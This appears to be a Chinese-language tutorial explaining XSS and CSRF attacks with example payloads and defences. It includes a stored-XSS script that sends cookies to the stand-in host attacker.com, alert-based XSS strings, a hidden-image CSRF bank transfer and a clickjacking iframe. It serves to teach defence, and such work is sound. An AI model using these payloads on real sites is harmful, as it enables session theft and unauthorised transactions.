前端安全（xss与crsf及其案例）

前端安全（xss与crsf）

XSS（Cross-Site Scripting）（跨站脚本攻击）：

XSS攻击是一种注入恶意脚本（通常是JavaScript代码）到用户浏览器中的攻击方式。攻击者通过在受信任网站上注入恶意脚本，使用户在浏览器中执行这些脚本。XSS攻击可以分为以下几种类型：

1. 存储型 XSS：
   • 攻击者将恶意脚本存储在服务器上，当用户请求包含这些脚本的页面时，脚本会被执行。
2. 反射型 XSS：
   • 恶意脚本作为参数包含在URL中，当用户点击包含这些脚本的恶意链接时，脚本会被执行。
3. DOM XSS：
   • 恶意脚本通过修改页面的DOM结构来触发攻击，而不是通过服务器返回的内容。

防范XSS的方法包括对输入进行合理的验证和过滤，使用内容安全策略（CSP）来限制允许执行的脚本源，以及在显示用户输入时进行HTML转义等。

xss案例

1. 存储型 XSS：

   • 攻击者在一个具有用户评论功能的网站上，通过评论字段插入恶意脚本。当其他用户访问包含这些评论的页面时，恶意脚本被执行，盗取用户的会话信息。

   <!-- 恶意评论 -->
   <script>
     // 发送盗取用户信息的请求
     var img = new Image();
     img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
   </script>
   

2. 反射型 XSS：

   • 攻击者通过伪装成一个可信任的链接，诱使用户点击。恶意脚本被作为参数传递到目标网站，目标网站未对输入进行充分验证，导致脚本执行。

   http://victim-site.com/search?query=<script>alert('XSS')</script>
   

3. DOM-based XSS：

   • 攻击者通过修改页面的DOM结构来触发攻击。例如，在网站的搜索框中输入恶意代码，导致页面上的脚本被执行。

   htmlCopy code<!-- 搜索框中的输入 -->
   <input type="text" id="search" value="恶意代码<script>alert('XSS')</script>">
   
   <!-- 被触发的 DOM-based XSS -->
   <script>
     var searchTerm = document.getElementById('search').value;
     // 在页面中显示用户搜索内容，但未对输入进行转义
     document.write('您搜索的内容是: ' + searchTerm);
   </script>
   

防范 XSS 攻击：

1. 输入验证和过滤：
   • 对用户输入的数据进行验证和过滤，确保只允许合法的内容。使用输入验证库或框架，如OWASP Encoder，来过滤特殊字符。
2. 输出转义：
   • 在将用户输入的内容显示在页面上之前，进行 HTML 转义，将特殊字符转换为其对应的 HTML 实体。这可以防止恶意脚本被解释执行。
3. 内容安全策略（CSP）：
   • 使用 CSP 头部来定义允许加载的资源，限制页面只能执行指定来源的脚本。CSP 可以减轻 XSS 攻击的影响。
4. 使用安全的框架和模板引擎：
   • 使用安全的框架和模板引擎，它们通常会提供内置的防护机制，例如自动进行 HTML 转义。
5. 避免内联 JavaScript：
   • 尽量避免在 HTML 中使用内联 JavaScript，而是将脚本代码放在外部文件中。这可以减少 XSS 攻击的风险。
6. HTTP Only Cookie：
   • 使用 HttpOnly 属性来设置 Cookie，防止 JavaScript 通过 document.cookie 读取敏感信息。
7. 定期安全审计：
   • 定期对应用进行安全审计，检查潜在的 XSS 漏洞，并及时修复。

CSRF（Cross-Site Request Forgery）（跨站点请求伪造）：

CSRF攻击是一种通过欺骗用户在受信任的网站上执行非自愿的操作的攻击。攻击者在用户受信任的网站上伪造请求，当用户已经在该网站登录的情况下，这些伪造的请求可能会以用户身份进行执行。CSRF攻击通常通过欺骗用户点击包含恶意请求的链接或图片来实现。

crsf案例

1. 伪造请求：

   • 攻击者在一个社交媒体网站上，伪造一个图片的请求，将用户当前登录的银行网站的转账请求作为图片的链接，然后通过发送给用户一个包含该图片的页面，诱使用户点击，实现银行账户的非自愿转账。

   <!-- 伪造请求的图片链接 -->
   <img src="http://bank-site.com/transfer?toAccount=attacker&amount=1000000" width="0" height="0">
   

2. 点击劫持：

   • 攻击者在一个看似无害的网站上，使用透明的iframe覆盖在用户目标网站的关键操作上，诱使用户在不知情的情况下执行了关键操作。

   <!-- 恶意网站上的代码 -->
   <style>
     iframe {
       position: absolute;
       top: 0;
       left: 0;
       width: 100%;
       height: 100%;
       opacity: 0.001;
     }
   </style>
   
   <iframe src="http://victim-site.com/transfer?toAccount=attacker&amount=1000000"></iframe>
   

防范 CSRF 攻击：

1. 使用 CSRF Token：
   • 在关键操作和表单中使用 CSRF Token，确保每个请求都携带有效的 Token，并验证 Token 的有效性。这可以防止攻击者伪造请求。
2. SameSite Cookie 属性：
   • 设置 Cookie 的 SameSite 属性，限制第三方网站的 Cookie 使用，减少 CSRF 攻击的可能性。可以设置为 SameSite=Strict 或 SameSite=Lax。
3. 检查 Referer 头部：
   • 在服务器端检查请求的 Referer 头部，确保请求是从合法来源发起的。然而，这并不是绝对可靠的方法，因为某些浏览器可能会禁用 Referer 头部。
4. 使用验证码：
   • 对于关键操作，可以要求用户输入验证码，以确保请求是由真实用户发起的。
5. 定期安全审计：
   • 定期对应用进行安全审计，检查潜在的 CSRF 漏洞，并及时修复。
6. 限制敏感操作的访问权限：
   • 限制敏感操作的访问权限，确保只有授权用户能够执行关键操作。使用身份验证和授权机制来实现这一点。